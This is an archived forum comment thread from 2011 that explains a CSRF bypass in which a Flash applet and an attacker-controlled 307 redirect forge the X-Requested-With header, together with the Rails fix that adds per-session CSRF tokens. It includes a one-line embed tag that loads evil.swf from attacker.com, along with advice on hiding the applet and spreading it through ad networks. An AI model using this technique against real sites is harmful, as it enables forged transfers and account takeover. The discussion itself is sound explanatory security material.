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Re:Flash + 307 redirect = Game Over by euroclydon on Thursday February 10, 2011 @03:25PM (#2203553)
This is so difficult to follow.

1) Who hosts the flash app? The site owned by the attacker? Or must the flash app be maliciously uploaded to the site being attacked?

2) And seriously, the final result of this scheme to to make a post to "www.victim.com". Doesn't "victim" mean someone who is exploited? I would expect that data would be taken from a victim, not posted to a victim.

Re:Flash + 307 redirect = Game Over by nbpoole on Thursday February 10, 2011 @03:34PM (#2203589)
It's actually fairly straightforward

1. It doesn't matter where the SWF is, as long as it can make requests to a redirecting script. That's the point of the attack: you can make cross-domain requests via a redirect.

2. Victim is referring to a victim domain. Pretend victim.com is your bank, and the POST is to send some cash to my account.

Re:Flash + 307 redirect = Game Over by euroclydon on Thursday February 10, 2011 @03:38PM (#2203608)
So my bank would have to already have a page which returns a 307?
Re:Flash + 307 redirect = Game Over by nbpoole on Thursday February 10, 2011 @03:51PM (#2203653)
No. Let me try explaining the simplest possible version of this attack.

Your bank (http://victim.com) is running its external-facing web application on Ruby on Rails. If you send a POST request to http://victim.com/transfer, you can transfer money to another person (the recipient is specified in the POST body).

The attacker sets up the following things on attacker.com:

1. A page that replies with 307 redirects to a specified destination

2. A Flash applet that makes POST requests

3. A page embedding that applet

The attacker sets the applet as if it were making a POST request to http://victim.com/transfer, setting the X-Requested-With header to bypass CSRF protection. But instead of POSTing directly to victim.com, the attacker POSTs to the redirect script.

So the end result looks something like this:

1. Flash checks to make sure that it can make requests to attacker.com (via crossdomain.xml, or by the same origin policy). It can.

2. POST request to attacker.com/redirect is made

3. attacker.com/redirect says "307, the request should go to http://victim.com/transfer

4. Flash says "OK" and makes the same request but now directed at victim.com

5. After the request has been made, Flash checks the crossdomain.xml file and says "whoops, shouldn't have made that request: you can't see the response."

Re:Flash + 307 redirect = Game Over by ben_h on Thursday February 10, 2011 @04:42PM (#2203911)
Good explanation, thanks.

The part I don't understand is the POST hitting the victim app. I don't know django but rails apps require an authenticity token to be included in all non-GET requests. How does the attacking app satisfy this token check?

Re:Flash + 307 redirect = Game Over by rst on Thursday February 10, 2011 @05:31PM (#2204136)
The bug was that Rails didn't check for the authenticity token in case of requests that were labeled as XmlHttpRequest (i.e., Ajax), and the redirect-from-flash game allows the attacker to forge the label. The fix makes it check in all cases; this is why it comes with stuff that you're supposed to patch into your layouts and application.js to put authenticity tokens into all your Ajax calls.
Re:Flash + 307 redirect = Game Over by euroclydon on Thursday February 10, 2011 @05:28PM (#2204122)
Rails WAS configured to accept the token OR a custom header, relying on the fact that custom headers can't be created cross domain. The patch fixes this, by requiring BOTH. Hmmm... So how do they know what the custom header is? Are they typically static?
Re:Flash + 307 redirect = Game Over by cheald on Thursday February 10, 2011 @06:11PM (#2204275)
The CSRF token is generated and stored in the user session, so rather than just X-Requested-With: XMLHttpRequest, you now also get an X-CSRF-Token: <some token stored in the user session>.

Rails doesn't check for XRW anymore; it just cares that you passed a valid CSRF token through, either as a POST variable (normal POST/PUT/DELETE) or in the X-CSRF-Token header (AJAX).

In case you're wondering, yes, this does make caching with Varnish a bitch and a half.

Re:Flash + 307 redirect = Game Over by euroclydon on Thursday February 10, 2011 @06:52PM (#2204452)
I want know how the exploit works. The Flash app has to write a custom header. How does it know the value to put in the header, unless it's always the same for all sessions across all users.

P.S. You cache POST/PUT/DELETES?

Re:Flash + 307 redirect = Game Over by cheald on Friday February 11, 2011 @12:54AM (#2205348)
That's the point of the fix. The header is custom per user now. Before, the presence of the "X-Requested-With: XmlHttpRequest" header was enough to let Rails assume the request was legit. Since Flash doesn't respect the victim's crossdomain.xml, this is no longer a valid assumption, and you have to use a unique header per session.

This means writing this unique value out into the page somewhere, to be included with any AJAX requests, which means that you cannot cache these pages as you might before, since AJAX calls would fail for everyone except the person who populated the cache.

Re:Flash + 307 redirect = Game Over by jbri on Thursday February 10, 2011 @08:25PM (#2204737)
If you cache the page from which a user submits a POST/PUT/DELETE, how are they going to get their CSRF token?
Re:Flash + 307 redirect = Game Over by nbpoole on Thursday February 10, 2011 @07:27PM (#2204565)
That's the point of the fix: X-CSRF-Token requires the CSRF token, which is per-user, as its value. X-Requested-With, the old way of doing things, just had to be present in the request.
Re:Flash + 307 redirect = Game Over by SoftwareMaven on Thursday February 10, 2011 @07:33PM (#2204585)
The exploit SWF just puts in that it is an Ajax call:

X-Requested-With: XMLHttpRequest

which says "I'm an AJAX request". Since the value is static, it is easy to use in an exploit.

Re:Flash + 307 redirect = Game Over by Yansky on Thursday February 10, 2011 @04:15PM (#2203766)
The user would first have to go to the attacker.com phishing site though right?

It sounds like it makes phishing scams a lot easier.

(thanks for the explanation btw)

Re:Flash + 307 redirect = Game Over by mbreese on Thursday February 10, 2011 @04:18PM (#2203790)
My reading is that it's not necessarily phishing because they wouldn't need to ask the user for any information. All that would be required is for the user to be signed into the targeted webapp.

It could be totally automated. But, since the attacker doesn't get the response, they couldn't necessarily do anything with that. That doesn't make this any less dangerous, as in the bank example, you don't necessarily need to see that your transfer was successful in order to get the money.

Re:Flash + 307 redirect = Game Over by nbpoole on Thursday February 10, 2011 @04:29PM (#2203843)

    <embed src="http://attacker.com/evil.swf></embed>
is all that you need to execute this attack in your browser. An attacker can hide the applet via CSS and put it on a legitimate looking page. All the target needs to do is be logged in.
Re:Flash + 307 redirect = Game Over by scommab on Thursday February 10, 2011 @04:46PM (#2203932)
If you want to be super evil about it you could also embed the evil POSTing code in a swf that looks like an unevil ad and then let an unsuspecting ad network distribute it for you.

Edit: grammar.

Re:Flash + 307 redirect = Game Over by nbpoole on Thursday February 10, 2011 @04:53PM (#2203969)
Correct. Put it up using Google Adwords or a similar network, make sure attacker.com has a proper crossdomain.xml file (because the SWF won't be served from attacker.com), and you have a working exploit that can be deployed all over the Internet.
Re:Flash + 307 redirect = Game Over by amalcon on Thursday February 10, 2011 @08:39PM (#2204780)
It's basically a bug in Flash. It works like this:

Attacker hosts a flash file, which attempts a cross-domain request to a server controlled by the attacker.

Flash checks crossdomain.xml on the attacker-controlled server. It says "Allow everything". Flash makes the request to the attacker-controlled server.

Server issues a 307 redirect to a www.victim.com that manipulates the user's account in a malicious way. The particular manipulation depends on what www.victim.com does, but changing the e-mail address to spoof the automated password recovery system would be a common one.

Flash does not check the crossdomain.xml on www.victim.com.

The attacker has now manipulated the user's account on www.victim.com in a malicious way.